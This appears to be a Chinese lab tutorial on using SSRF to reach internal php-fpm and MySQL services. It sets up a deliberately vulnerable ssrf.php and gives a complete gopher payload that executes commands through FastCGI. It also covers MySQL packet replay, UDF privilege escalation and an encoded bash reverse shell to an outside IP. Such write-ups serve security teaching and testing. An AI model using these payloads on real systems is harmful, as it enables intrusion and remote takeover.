<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    利用SSRF滲透內網主機中

    VSole2022-01-02 08:10:42

    SSRF攻擊FastCGI執行命令

    FastCGI與PHP-FPM

    FastCGI

    快速通用網關接口(Fast Common Gateway Interface/FastCGI)是一種讓交互程序與Web服務器通信的協議。FastCGI是早期通用網關接口(CGI)的增強版本。FastCGI致力于減少網頁服務器與CGI程序之間交互的開銷,從而使[服務器可以同時處理更多的網頁請求。

    眾所周知,在網站分類中存在一種分類就是靜態網站和動態網站,兩者的區別就是靜態網站只需要通過瀏覽器進行解析,其中的頁面是一對一的(一個內容對應一個頁面),而動態網站需要一個額外的編譯解析的過程,網頁上的數據是從數據庫中或者其他地方調用,頁面會隨著數據的變化而改變,就產生了一定的交互性。

    瀏覽器訪問靜態網頁過程

    在整個網頁的訪問過程中,Web容器(例如Apache、Nginx)只擔任著內容分發者的身份,當訪問靜態網站的主頁時,Web容器會到網站的相應目錄中查找主頁文件,然后發送給用戶的瀏覽器。

    瀏覽器訪問動態網頁過程

    當訪問動態網站的主頁時,根據容器的配置文件,它知道這個頁面不是靜態頁面,web容器就會去找PHP解析器來進行處理(這里以Apache為例),它會把這個請求進行簡單的處理,然后交給PHP解釋器。

    當Apache收到用戶對 index.php 的請求后,如果使用的是CGI,會啟動對應的 CGI 程序,對應在這里就是PHP的解析器。接下來PHP解析器會解析php.ini文件,初始化執行環境,然后處理請求,再以規定CGI規定的格式返回處理后的結果,退出進程,Web server再把結果返回給瀏覽器。這就是一個完整的動態PHP Web訪問流程。

    這里說的是使用CGI,而FastCGI就相當于高性能的CGI,與CGI不同的是它像一個常駐的CGI,在啟動后會一直運行著,不需要每次處理數據時都啟動一次, 所以這里引出下面這句概念,FastCGI是語言無關的、可伸縮架構的CGI開放擴展,其主要行為是將CGI解釋器進程保持在內存中,并因此獲得較高的性能 。

    php-fpm

    了解了CGI和FastCGI之后,我們來看一下什么是php-fpm,官方對它的解釋是FPM(FastCGI 進程管理器)用于替換 PHP FastCGI 的大部分附加功能,對于高負載網站是非常有用的。

    也就是說php-fpm是FastCGI的一個具體實現,并且提供了進程管理的功能,在其中的進程中,包含了master和worker進程,這個在后面我們進行環境搭建的時候可以通過命令查看。其中master 進程負責與 Web 服務器進行通信,接收 HTTP 請求,再將請求轉發給 worker 進程進行處理,worker 進程主要負責動態執行 PHP 代碼,處理完成后,將處理結果返回給 Web 服務器,再由 Web 服務器將結果發送給客戶端。

    PHP-FPM攻擊實現原理

    想要分析它的攻擊原理需要從FastCGI協議封裝數據內容來看,這里僅對攻擊原理做簡要描述,CGI 和 FastCGI 協議的運行原理這篇文章中詳細介紹了FastCGI協議的內容,其攻擊原理就是在設置環境變量實際請求中會出現一個SCRIPT_FILENAME': '/var/www/html/index.php這樣的鍵值對,它的意思是php-fpm會執行這個文件,但是這樣即使能夠控制這個鍵值對的值,但也只能控制php-fpm去執行某個已經存在的文件,不能夠實現一些惡意代碼的執行。

    而在php5.3.9后來的版本中,php增加了安全選項導致只能控制php-fpm執行一些php、php4這樣的文件,這也增大了攻擊的難度。但是好在php官方允許通過PHP_ADMIN_VALUE和PHP_VALUE去動態修改php的設置。

    那么當設置php環境變量為:auto_prepend_file = php://input;allow_url_include = On,就會在執行php腳本之前包含auto_prepend_file文件的內容,php://input也就是POST的內容,這個我們可以在FastCGI協議的body控制為惡意代碼,這樣就在理論上實現了php-fpm任意代碼執行的攻擊。

    環境搭建

    安裝環境與依賴

    這里直接在Ubuntu上安裝Nginx和php-fpm,首先安裝Nginx

    sudo apt-get install nginx
    

    安裝php、php-fpm以及一些插件

    sudo apt-get install software-properties-common python-software-properties 
    sudo add-apt-repository ppa:ondrej/php          #這里容易卡死,解決方法使用代理
    sudo apt-get update
    sudo apt-get -y install php7.2
    sudo apt-get -y install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml  php7.2-intl 
    

    配置php-fpm

    修改配置監聽9000端口來處理nginx的請求

    打開/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注釋第一行添加第二行

    ;listen = /run/php/php7.2-fpm.sock
    listen = 127.0.0.1:9000
    
    注:這里如果設置監聽為0.0.0.0:9000就在產生php-fpm未授權訪問漏洞,此時攻擊者可以直接與9000端口上的php-fpm進行通信,進而可以實現任意代碼執行。

    下面修改權限

    chmod 777 /run/php/php7.2-fpm.sock
    

    打開nginx的配置文件 /etc/nginx/sites-available/default 修改相應部分的配置

    server {
        listen       80; #監聽80端口,接收http請求
        server_name  hacktop.com; #就是網站地址
        root /usr/share/nginx/html/; # 準備存放代碼工程的路徑
        #路由到網站根目錄www.example.com時候的處理
        location / {
            index index.php; #跳轉到 hacktop.com/index.php
            autoindex on;
        }  
        #當請求網站下php文件的時候,反向代理到php-fpm
       location ~ \.php$ {
                root html;
                fastcgi_split_path_info ^(.+\.php)(/.+)$;
                fastcgi_pass        127.0.0.1:9000;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                fastcgi_index       index.php;
                include             fastcgi_params;
            }
    }
    

    啟動環境

    配置完成后查看一下php-fpm的安裝位置,然后啟動

    image-20211201132107539

    重新啟動Nginx

    sudo systemctl restart nginx
    

    然后檢查nginx是否正確啟動 systemctl status nginx

    image-20211201132738682

    檢查php-fpm是否正確啟動 ps -elf | grep php-fpm

    image-20211201132859864

    這里就可以看出上面所說的存在一個master進程和多個worker進程

    下面將/usr/share/nginx/html/(nginx Web目錄)下的文件刪除,新建一個index.php。

    內容可以寫上用來檢查各項是否正常運行,如果頁面為空,查看這篇文章解決。

    image-20211201133404402

    其中Sever API 處和上圖一樣說明運行正確,然后在目錄下新建ssrf.php 內容為

     
        highlight_file(__FILE__);
        $url = $_REQUEST['url'];
        $curl = curl_init($url);    
        //第二種初始化curl的方式
        //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']); 
    
        /*進行curl配置*/
        curl_setopt($curl, CURLOPT_HEADER, 0); // 不輸出HTTP頭
        $responseText = curl_exec($curl);
        //var_dump(curl_error($curl) );//如果執行curl過程中出現異常,可打開此開關,以便查看異常內容
    
        echo $responseText;
        curl_close($curl);
    ?>
    

    該代碼為一個ssrf漏洞的示例代碼,可以訪問/ssrf.php?url=http://www.baidu.com進行測試,若能實現跳轉到百度的頁面,或包含百度的頁面即SSRF環境搭建成功

    image-20211201133950257

    漏洞利用

    在這里就直接使用Gopherus生成payload

    image-20211201134731583

    對生成的payload再次進行URL編碼,放入URL參數瀏覽器請求如下

    http://hacktop.com/ssrf.php?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%250C%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%251FSCRIPT_FILENAME/usr/share/nginx/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
    

    成功執行命令

    image-20211201135040353

    SSRF利用MySQL未授權攻擊

    MySQL通信協議

    MySQL連接方式

    MySQL分為服務端和客戶端,客戶端連接服務器使存在三種方法:

    ?Unix套接字

    ?內存共享/命名管道

    ?TCP/IP套接字

    ?在Linux或者Unix環境下,當我們輸入mysql –uroot –proot登錄MySQL服務器時就是用的Unix套接字連接;Unix套接字其實不是一個網絡協議,只能在客戶端和Mysql服務器在同一臺電腦上才可以使用。

    ?在Windows系統中客戶端和Mysql服務器在同一臺電腦上,可以使用命名管道和共享內存的方式。

    ?TCP/IP套接字是在任何系統下都可以使用的方式,也是使用最多的連接方式,當我們輸入mysql –h127.0.0.1 –uroot –proot時就是要TCP/IP套接字。所以當我們需要抓取mysql通信數據包時必須使用TCP/IP套接字連接。

    MySQL認證過程

    MySQL客戶端連接并登錄服務器時存在兩種情況:需要密碼認證以及無需密碼認證。當需要密碼認證時使用挑戰應答模式,服務器先發送salt然后客戶端使用salt加密密碼然后驗證;當無需密碼認證時直接發送TCP/IP數據包即可。所以在非交互模式下登錄并操作MySQL只能在無需密碼認證,未授權情況下進行,本文利用SSRF漏洞攻擊MySQL也是在其未授權情況下進行的。

    MySQL客戶端與服務器的交互主要分為兩個階段:Connection Phase(連接階段或者叫認證階段)和Command Phase(命令階段)。在連接階段包括握手包和認證包,這里我們不詳細說明握手包,主要關注認證數據包。

    漏洞利用-查詢數據庫

    實驗環境:

    系統:Ubuntu 20.04.3 LTS

    數據庫:MariaDB 10.3.31

    (mysql沒有實驗成功,可能是版本的問題)

    配置空密碼用戶

    首先我們需要配置一個空密碼的用戶

    # 創建用戶
    CREATE USER 'admin'@'localhost';
    # 授予權限
    GRANTUSAGE ON *.* TO 'admin'@'localhost';
    # 刷新權限表
    flush privileges;
    

    抓取MySQL數據包

    首先,開一個窗口,tcpdump -i lo port 3306 -w mysql.pcapng,開始抓取3306的數據包。

    image-20211201210243808

    然后在另一個窗口,開啟MySQL終端,查詢一些信息。最后記得exit;,不然會出問題。

    image-20211201213500304

    中止 tcpdump 使用 Wireshark 打開 mysql.pcapng 數據包,追蹤 TCP 流

    image-20211201214035748

    然后提取request包,并且顯示為原始數據(Raw)

    image-20211201214415615

    將其整理成 1 行

    bd00000184a6bf20000000012d000000000000000000000000000000000000000d00000061646d696e00006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f7069640534313534390f5f636c69656e745f76657273696f6e06332e312e3134095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e31210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290600000002666c6167730f0000000373686f77206461746162617365730c0000000373686f77207461626c65730600000004666c616700130000000373656c656374202a2066726f6d20666c61670100000001
    

    生成 gopher 數據流

    然后使用如下的 Python3 腳本將數據轉化為 url 編碼:

    import sys
    
    def results(s):
        a=[s[i:i+2] for i in range(0,len(s),2)]
        return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
    
    if __name__=="__main__":
        s=sys.argv[1]
        print(results(s))
    

    image-20211201215230891

    本地 curl 請求這個 gopher 協議的數據包看看

    image-20211201215553354

    將生成的payload再進行URL編碼,結合SSRF漏洞進行利用

    image-20211201215924201

    漏洞利用-UDF提權

    提權前需要注意:
    ?mysql(mariadb)必須使用root用戶啟動(不通過service或者systemctl)
    ?secure_file_priv變量的值需要為空

    尋找插件目錄

    首先來尋找 MySQL 的插件目錄,原生的 MySQL 命令如下:

    $ mysql -h127.0.0.1 -uadmin -e "show variables like '%plugin%';"
    

    然后tcpdump 監聽,使用 Wirshark 分析導出原始數據。這里為了方便就直接查詢了,步驟和上面是一樣的。

    image-20211202124657883

    寫入動態鏈接庫

    拿到 MySQL 的插件目錄為:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

    接著來寫入動態鏈接庫,原生的 MySQL 命令如下:

    # 因為 payload 太長 這里就先進入 MySQL 控制臺
    $ mysql -h127.0.0.1 -uroot
    
    MariaDB [(none)]> SELECT 0x7f454c4602...(省略大量payload)...0000000 INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/udf.so';
    
    關于 UDF 提權的 UDF 命令,推薦參考國光大佬的這個 UDF 提權輔助頁面:
    https://www.sqlsec.com/tools/udf.html

    tcpdump 監聽到的原始數據后,轉換 gopher 協議,URL編碼后,SSRF 攻擊寫入動態鏈接庫。

    image-20211202125541235

    可以看到udf.so 已經成功寫入到 MySQL 的插件目錄下了

    image-20211202125633560

    以此類推,創建自定義函數:

    $ mysql -h127.0.0.1 -uroot -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
    

    最后通過創建的自定義函數并執行系統命令將 shell 彈出來,原生命令如下:

    $ mysql -h127.0.0.1 -uroot -e "select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4yNDEvNDQ0NCAwPiYx|base64 -d|bash -i')"
    

    測試過程中默認情況下彈不出來,所以這里將原始的 bash 反彈 shell 命令給編碼了:


    image-20211202134310277

    這里使用的是國光大佬的命令執行輔助工具:
    https://www.sqlsec.com/tools.html

    tcpdump 監聽到的原始數據后,轉換 gopher 協議,URL二次編碼請求一下,然后 SSRF 攻擊成功彈出 shell。

    image-20211202135909572

    上述payload,除了寫入動態鏈接庫外,其他的都可以使用Gopherus工具生成
    ssrfphp-fpm
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    FastCGI與PHP-FPM FastCGI 快速通用網關接口(Fast Common Gateway Interface/FastCGI)是一種讓交互程序與Web服務器通信的協議。FastCGI是早期通用網關接口(CGI)的增強版本。FastCGI致力于減少網頁服務器與CGI程序之間交互的開銷,從而使[服務器可以同時處理更多的網頁請求。
    利用SSRF滲透內網主機
    2021-12-26 07:39:35
    接下來PHP解析器會解析php.ini文件,初始化執行環境,然后處理請求,再以規定CGI規定的格式返回處理后的結果,退出進程,Web server再把結果返回給瀏覽器。這就是一個完整的動態PHP Web訪問流程。
    前言本文通過多個 poc ,結合ftp協議底層和php源碼,分析了在 php 中利用 ftp 偽協議攻擊 php-fpm ,從而繞過 disable_functions 的攻擊方法,并在文末復現了 [藍帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make PHP Great Again And Again。
    FTP(File Transfer Protocol,文件傳輸協議) 是 TCP/IP 協議組中的協議之一。FTP 協議包括兩個組成部分,其一為 FTP 服務器,其二為 FTP 客戶端。其中 FTP 服務器用來存儲文件,用戶可以使用 FTP 客戶端通過 FTP 協議訪問位于 FTP 服務器上的資源。
    FTP協議FTP 是 TCP/IP 協議組中的協議之一。FTP 協議包括兩個組成部分,其一為 FTP 服務器,其二為 FTP 客戶端。其中 FTP 服務器用來存儲文件,用戶可以使用 FTP 客戶端通過 FTP 協議訪問位于 FTP 服務器上的資源。
    一般情況下,SSRF針對的都是一些外網無法訪問的內網,所以需要SSRF使目標后端去訪問內網,進而達到我們攻擊內網的目的。
    PHP disable_functions disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。
    disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。
    相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。高ini_restore()可用于恢復 PHP 環境配置參數到其初始值
    0x00 前言公司的每月任務同事沒完成數量就幫忙看了一下,發現到了個查不到的問題就來分享了一下。然后就習慣性的先點擊插件link-grabber看看網頁有包含了什么鏈接這路徑一看直接猜測一波帝國cms好吧。直接猜一波后臺路徑/e/admin,哦吼果然沒那么簡單。結果好家伙,嘗試了各種工具花了半天發現連不上。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类